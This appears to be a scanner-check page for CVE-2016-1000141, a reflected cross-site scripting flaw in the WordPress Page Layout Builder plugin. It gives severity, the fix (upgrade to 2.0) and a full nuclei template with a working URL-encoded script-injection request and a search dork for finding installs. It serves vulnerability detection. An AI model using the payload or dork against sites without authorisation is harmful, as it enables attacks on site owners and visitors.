WordPress Page Layout builder v1.9.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to version 2.0 or higher.

How to confirm it

Send: GET /wp-content/plugins/page-layout-builder/readme.txt
Positive when: contains "Page Layout Builder ="
Send: GET {{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000141 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000141

info:
  name: WordPress Page Layout builder v1.9.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Upgrade to version 2.0 or higher.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=358
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000141
    - https://wordpress.org/plugins/page-layout-builder
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000141
    cwe-id: CWE-79
    epss-score: 0.03462
    epss-percentile: 0.89149
    cpe: cpe:2.3:a:page-layout-builder_project:page-layout-builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "page-layout-builder_project"
    product: "page-layout-builder"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/page-layout-builder\""
  tags: cve,cve2016,wordpress,xss,wp-plugin,page-layout-builder_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Page Layout Builder ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from